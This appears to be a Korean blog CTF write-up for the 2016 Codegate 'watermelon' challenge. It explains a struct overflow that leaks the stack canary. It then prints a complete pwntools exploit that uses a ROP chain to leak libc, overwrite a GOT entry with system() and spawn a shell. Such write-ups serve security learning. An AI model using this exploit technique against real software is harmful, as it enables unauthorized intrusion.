풀만한 CTF문제들을 찾다가 2016코드게이트 문제가 재밌어보여서 잡게되었다...
다들 쉽게 푼 것 같은데 나한테는 많이 어려웠다... 그래도 어찌저찌해서 풀게됬다..
그럼 시작을 해보자~
보호기법을 확인을 해보니 ssp/nx가 걸려있고 32비트 파일이군요...
그럼 ida로 열어서 취약한 곳을 찾아 봅시다..!
main을 확인을 해보니 case문으로 여러가지 함수를 호출을 해주는 것을 볼 수 있다.
(※그리고 이름을 받는데 unk???이상한 변수명으로 값을 받아서 확인을 해보니
unk는 bss의 초기화 되지 않은 변수명이라고한다.이것도 나중에 써먹으니 생각을 해두자.)
처음에 case 4294967295가 뭔지를 잘몰라서 hex값으로 바꾸어보니 0xffffffff(-1)이 나왔다.
-1을 입력을 해서 들어가는 함수에는 볼게 별로 없으니 pass하고 1번부터 확인을 해보자.
ADD MUSIC이라고 출력을 해주는 것을 보니... 노래를 추가를 해주는 것 같다.
music을 add해주는 곳의 read함수를 보니 44 * dword_804cb88+a1+4라고 되있다.
artist의 read는 44 * dword_804cb88+a1+24라고 되있다...
여기서 dword_804cb88은 뭘까??? 뭔데 44를 곱할까???...
dword_804cb88은 count처럼 한번씩 돌 때 마다 1씩 추가를 하고 44를 곱하는 이유는 아래 사진을 보면 알 수 있다.
이와 같이 구조체가 있는데 44바이트의 구조체가 계속 할당되기 때문에 44바이트 씩 써준다고 한다....
그리고 read 함수로 21바이트를 받는데 이것도 문제 출제자의 큰그림의 파트중 하나이기 때문에 생각을 해두시길!
이번에는 2번 메뉴로 가보자
단순하게 플레이리스트를 보여주는 것 같다.
그래도 나중에 쓸모가 있으니 생각해 두자
3번 함수를 확인을 해보자
플레이리스트를 수정을 해주는 함수이다.
그런데 Music을 수정을 하고 Artist를 수정을 하는 부분을 보면 오버플로우를 해달라고 소리를 지르고 있다...
이번에는 main함수를 다시 확인을 해보자..
v1이 구조체라는 것은 아까전에 확인을 했고 v2는 카나리값인 것을 알 수 있다.
그런데 오버플로우를 하려고 해도 카나리 때문에 제어를 하지 못 할 것이다.
아까 1번 메뉴에서 read로 21바이트씩 받는 것을 기억하십니까???
그것이 이곳에서 사용이 됩니다....
v1이 4400바이트인 100개의 구조체를 가득 채운 후....
마지막 구조체에서 21바이트를 입력을 받으면 널바이트가 소멸되고 다음 변수와 연결이 되서 카나리 값이 릭이된다!!
.
.
그럼 끝난 것 아닌가??? 빨리 익스플로잇코드를 짜보자!!
#!/usr/bin/python
from pwn import *
r = process("./watermelon")
e = ELF("./watermelon")
l = ELF("/lib32/libc.so.6")
offset = 0xef10
name = 0x0804d7a0
pppr = 0x08049acd
binsh = 0xf7f5ba0f
printf_got=0x804c010
write_plt=0x8048590
read_plt =0x80484f0
fgets_plt =0x8048520
fgets_got =0x804c018
raw_input()
r.recvuntil("name")
r.sendline("/bin/sh")
###########################canary leak
for i in range(100):
r.recvuntil("select")
r.sendline("1")
r.recvuntil("music")
r.sendline("1")
r.recvuntil("artist")
r.send("A"*21)
r.recvuntil("select")
r.sendline("2")
canary = r.recvuntil("select")
canary = "\x00"+canary.split("100")[1].split("A"*21)[1][:3]
print "[+]Canary: "+hex(u32(canary))
#######################################
payload = ''
payload += "A"*20
payload += canary
payload += "B"*8 #dummy
payload += "JUNK" #ebp
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(printf_got)
payload += p32(4)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(fgets_got)
payload += p32(4)
payload += p32(fgets_plt)
payload += "JUNK"
payload += p32(name)
r.sendline("3")
r.recvuntil("number")
r.sendline("100")
r.recvuntil("music")
r.sendline("1")
r.recvuntil("artist")
r.sendline(payload)
r.recvuntil("select")
r.sendline("4")
r.recvuntil("BYE BYE\n\n")
real_got=u32(r.recv(4))
print p32(real_got)
system = real_got-offset
print "[+]Real_printf_got : "+hex(real_got)
print "[+]write-system offset :",hex(offset)
print "[+]system_addr : "+hex(system)
sleep(0.2)
r.sendline(p32(system))
r.interactive()
'SYSTEM HACKING > 문제 풀이' 카테고리의 다른 글
2016 Codegate -Serial (0) | 2018.02.03 |
---|---|
간단한 Crc CTF 문제 (0) | 2018.01.29 |
2017 Codegate -babypwn (0) | 2018.01.12 |
2014 Codegate -nuclear (0) | 2018.01.10 |
2014 Codegate -Angry_Doraemon (0) | 2018.01.08 |